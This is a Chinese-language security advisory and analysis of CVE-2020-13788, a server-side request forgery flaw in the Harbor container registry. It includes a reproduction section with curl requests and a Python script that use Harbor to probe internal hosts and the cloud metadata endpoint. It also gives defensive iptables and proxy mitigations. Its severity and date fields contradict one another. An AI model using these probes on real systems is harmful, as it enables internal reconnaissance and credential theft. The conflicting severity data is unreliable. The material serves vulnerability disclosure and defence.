一、漏洞简介

1.1 漏洞背景

2020年6月,安全研究人员在 Harbor 的镜像复制(Replication)和 webhook 功能中发现了服务端请求伪造(SSRF)漏洞。该漏洞允许攻击者利用 Harbor 服务器作为跳板,探测和访问内部网络资源,或绕过防火墙限制访问外部资源。

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 CVE-2020-13788
危害等级 MEDIUM / 4.3
漏洞类型 服务端请求伪造(SSRF)漏洞
披露时间 2020-07-15
影响组件 Harbor 容器镜像仓库
属性 详情
CVE编号 CVE-2020-13788
危害等级 高危(High)
CVSS评分 7.5(High)
CVSS向量 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
漏洞类型 CWE-918:服务端请求伪造(SSRF)
公开日期 2020年6月
<hr />

补充核验信息:公开时间:2020-07-15;NVD 评分:4.3(MEDIUM);CWE:CWE-918。

二、影响范围

2.1 受影响的版本

  • Harbor v1.x.x ~ v2.0.x(多个版本受影响)
  • 具体影响版本范围需参考官方公告

2.2 不受影响的版本

  • Harbor >= v2.1.0(已修复)

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

  1. 认证要求:攻击者需要具有 Harbor 的有效账户
  2. 功能权限:账户具有创建镜像复制策略或 webhook 的权限
  3. 网络环境:Harbor 服务器可以访问内部网络资源
<hr />

三、漏洞详情与原理解析

3.1 漏洞触发机制

Harbor 的镜像复制功能允许用户配置外部镜像仓库的 URL。当配置复制策略时,Harbor 服务器会向指定的 URL 发起 HTTP 请求以验证连通性。如果未对目标 URL 进行严格校验,攻击者可以:

  1. 配置指向内部网络地址的复制策略(如 http://192.168.1.1/admin
  2. 利用 Harbor 服务器探测内网服务
  3. 绕过网络边界防护,访问受限资源

3.2 源码层面的根因分析(结合源码与补丁对比)

漏洞代码位置

文件src/core/api/replication_policy.go 或相关 registry adapter

// 伪代码示例:验证仓库连通性
func (r *ReplicationAPI) TestConnection() {
    var req struct {
        URL      string `json:"url"`
        Username string `json:"username"`
        Password string `json:"password"`
    }

    if err := r.DecodeJSONReq(&req); err != nil {
        r.SendBadRequestError(err)
        return
    }

    // 【漏洞点】直接使用用户输入的 URL 发起请求
    // 未检查是否为内部地址
    resp, err := http.Get(req.URL)
    if err != nil {
        r.SendInternalServerError(err)
        return
    }

    // 返回响应信息
    r.Data["json"] = map[string]interface{}{
        "status": resp.Status,
    }
    r.ServeJSON()
}

漏洞根因

  1. 未验证目标 URL 格式:允许任意协议(file://, gopher:// 等)和地址
  2. 未检查私有 IP 地址:允许访问 192.168.x.x、10.x.x.x、127.0.0.1 等
  3. 未限制 DNS 重绑定:攻击者可使用域名指向内部地址
<hr />

四、漏洞复现(可选)

4.1 环境搭建

# 部署 Harbor v2.0.0(受影响版本)
wget https://github.com/goharbor/harbor/releases/download/v2.0.0/harbor-online-installer-v2.0.0.tgz
tar xzf harbor-online-installer-v2.0.0.tgz
cd harbor
./install.sh

4.2 PoC 演示与测试过程

场景一:探测内部服务

# 创建复制策略,目标指向内部服务
curl -X POST "http://harbor-server/api/replication/policies" \
    -H "Content-Type: application/json" \
    -u "admin:Harbor12345" \
    -d '{
        "name": "SSRF-Test",
        "src_registry": {
            "url": "http://192.168.1.1:8080/admin",
            "type": "harbor"
        },
        "enabled": false
    }'

# 如果内部服务存在,会收到响应
# 攻击者可以通过响应差异判断服务是否存在

场景二:访问云元数据服务

# 在 AWS 环境中访问元数据服务
curl -X POST "http://harbor-server/api/replication/policies" \
    -H "Content-Type: application/json" \
    -u "admin:Harbor12345" \
    -d '{
        "name": "AWS-Metadata",
        "src_registry": {
            "url": "http://169.254.169.254/latest/meta-data/",
            "type": "harbor"
        }
    }'

Python PoC 脚本

#!/usr/bin/env python3
"""
CVE-2020-13788 - Harbor SSRF PoC
用途:仅限安全研究和授权测试
"""

import requests
import sys

def ssrf_scan(target_harbor, username, password, internal_target):
    """
    利用 SSRF 探测内部网络
    """

    session = requests.Session()
    session.auth = (username, password)

    # 创建复制策略
    payload = {
        "name": f"SSRF-Scan-{internal_target}",
        "description": "Testing SSRF vulnerability",
        "src_registry": {
            "url": f"http://{internal_target}",
            "type": "harbor",
            "credential": {
                "type": "basic"
            }
        },
        "enabled": False,
        "override": True
    }

    url = f"{target_harbor}/api/v2.0/replication/policies"

    try:
        response = session.post(url, json=payload, timeout=10)

        print(f"[*] Target: {internal_target}")
        print(f"[*] Status: {response.status_code}")

        if response.status_code in [200, 201]:
            print(f"[+] Connection established to {internal_target}")
        elif response.status_code == 400:
            print(f"[-] Connection failed or blocked")
        else:
            print(f"[?] Unexpected response")

    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 5:
        print(f"Usage: {sys.argv[0]} <harbor_url> <user> <pass> <internal_ip:port>")
        sys.exit(1)

    ssrf_scan(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4])
<hr />

五、修复建议与缓解措施

5.1 官方版本升级建议

升级到 Harbor v2.1.0 或更高版本。

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

方案一:网络层防护

# 使用 iptables 限制 Harbor 对内网的访问
iptables -A OUTPUT -o eth0 -d 192.168.0.0/16 -m owner \
    --uid-owner harbor -j DROP
iptables -A OUTPUT -o eth0 -d 10.0.0.0/8 -m owner \
    --uid-owner harbor -j DROP
iptables -A OUTPUT -o eth0 -d 172.16.0.0/12 -m owner \
    --uid-owner harbor -j DROP
iptables -A OUTPUT -o eth0 -d 169.254.169.254 -m owner \
    --uid-owner harbor -j DROP

方案二:HTTP 代理配置

配置 Harbor 使用受限的 HTTP 代理访问外部资源:

# harbor.yml
http_proxy: http://restricted-proxy:8080
https_proxy: http://restricted-proxy:8080
no_proxy: localhost,127.0.0.1

方案三:域名白名单

在应用层添加允许的镜像仓库域名白名单。

<hr />

六、参考信息 / 参考链接

6.1 官方安全通告

  • GitHub Releases: https://github.com/goharbor/harbor/releases
  • NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2020-13788

6.2 其他技术参考资料

  • Soluble.ai Blog: https://www.soluble.ai/blog/harbor-ssrf-cve-2020-13788
  • DEF CON Presentation: https://www.youtube.com/watch?v=v8Isqy4yR3Q
  • CWE-918 Definition: https://cwe.mitre.org/data/definitions/918.html